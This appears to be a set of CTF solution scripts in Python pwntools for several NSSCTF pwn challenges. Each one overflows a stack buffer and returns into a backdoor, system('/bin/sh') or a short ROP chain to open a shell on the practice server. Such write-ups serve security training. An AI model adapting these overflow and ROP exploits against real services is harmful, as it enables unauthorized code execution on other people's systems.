from pwn import * p=remote('node4.anna.nssctf.cn',28708) payload=b'a'*0x10+b'a'*8+p64(0x4005B6) #32位+4 64位+8 p.sendline(payload) p.interactive()
[CISCN 2019华北]PWN1
1 2 3 4 5 6
from pwn import * context(log_level='debug',arch='amd64',os='linux') p=process('./attachment') payload=b'a'*0x2c+p64(0x41348000) p.sendline(payload) p.interactive()
[BJDCTF 2020]babystack2.0
1 2 3 4 5 6 7 8 9 10
from pwn import * context(log_level='debug',arch='amd64',os='linux') p=remote('node4.anna.nssctf.cn',28830) p.recvuntil("[+]Please input the length of your name:") p.sendline(b'-1') p.recvuntil("[+]What's u name?") bin_sh=p64(0x400726) payload=flat([b'a'*0x10,b'a'*8,bin_sh]) p.sendline(payload) p.interactive()
[BJDCTF 2020]babystack
1 2 3 4 5 6 7 8 9 10
from pwn import * context(log_level='debug',arch='amd64',os='linux') p=remote('node4.anna.nssctf.cn',28487) p.recvuntil("[+]Please input the length of your name:") p.sendline(b'999') p.recvuntil("[+]What's u name?") bin_sh=p64(0x4006E6) payload=flat([b'a'*0x10,b'a'*8,bin_sh]) p.sendline(payload) p.interactive()
[NISACTF 2022]ezstack
1 2 3 4 5 6 7 8 9
from pwn import * context(log_level='debug',arch='i386',os='linux') p=remote('node5.anna.nssctf.cn',28073) p.recvuntil("Welcome to NISACTF") system_addr=p32(0x8048512) bin_sh_addr=p32(0x804a024) payload=flat([b'a'*0x48,b'a'*4,system_addr,bin_sh_addr]) p.sendline(payload) p.interactive()
from pwn import * import struct context(log_level='debug',arch='amd64',os='linux') elf=ELF('./shell') p=remote("node4.anna.nssctf.cn",28367) p.recvuntil("zltt lost his shell, can you find it?") ret_addr=p64(0x400416) pop_rdi_ret_addr=p64(0x4005e3) bin_sh_addr=p64(0x400541) system_addr=p64(elf.plt["system"]) payload=flat([b'a'*0x10,b'a'*8,ret_addr,pop_rdi_ret_addr,bin_sh_addr,system_addr]) p.sendline(payload) p.interactive()
[HNCTF 2022 Week1]easyoverflow
略。
[NSSCTF 2022 Spring Recruit]R3m4ke?
1 2 3 4 5 6 7 8 9
from pwn import * context(log_level='debug',os='linux',arch='amd64') p=remote('node4.anna.nssctf.cn',28510) stack_overflow=cyclic(0x20+8) shell_addr=p64(0x40072C) payload1=flat([stack_overflow,shell_addr]) p.recvuntil("[+] Welcome to NSS , this is a very simple PWN question for getting started>") p.sendline(payload1) p.interactive()
from pwn import * from ctypes import * context(log_level='debug',arch='amd64',os='linux') p=remote("node5.anna.nssctf.cn",28292) elf=ELF('./attachment') ctype=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') ctype.srand(0x39) payload1=str(ctype.rand()).encode() p.recvuntil("you should prove that you love pwn,so input your name:") p.sendline(payload1) stack_overflow=cyclic(0x40+0x8) ret_addr=p64(0x40028b) backdoor_addr=p64(elf.sym["get_shell"]) payload2=flat([stack_overflow,ret_addr,backdoor_addr]) p.recvuntil("ok,you have a little cognition about pwn,so what will you do next?") p.sendline(payload2) p.interactive()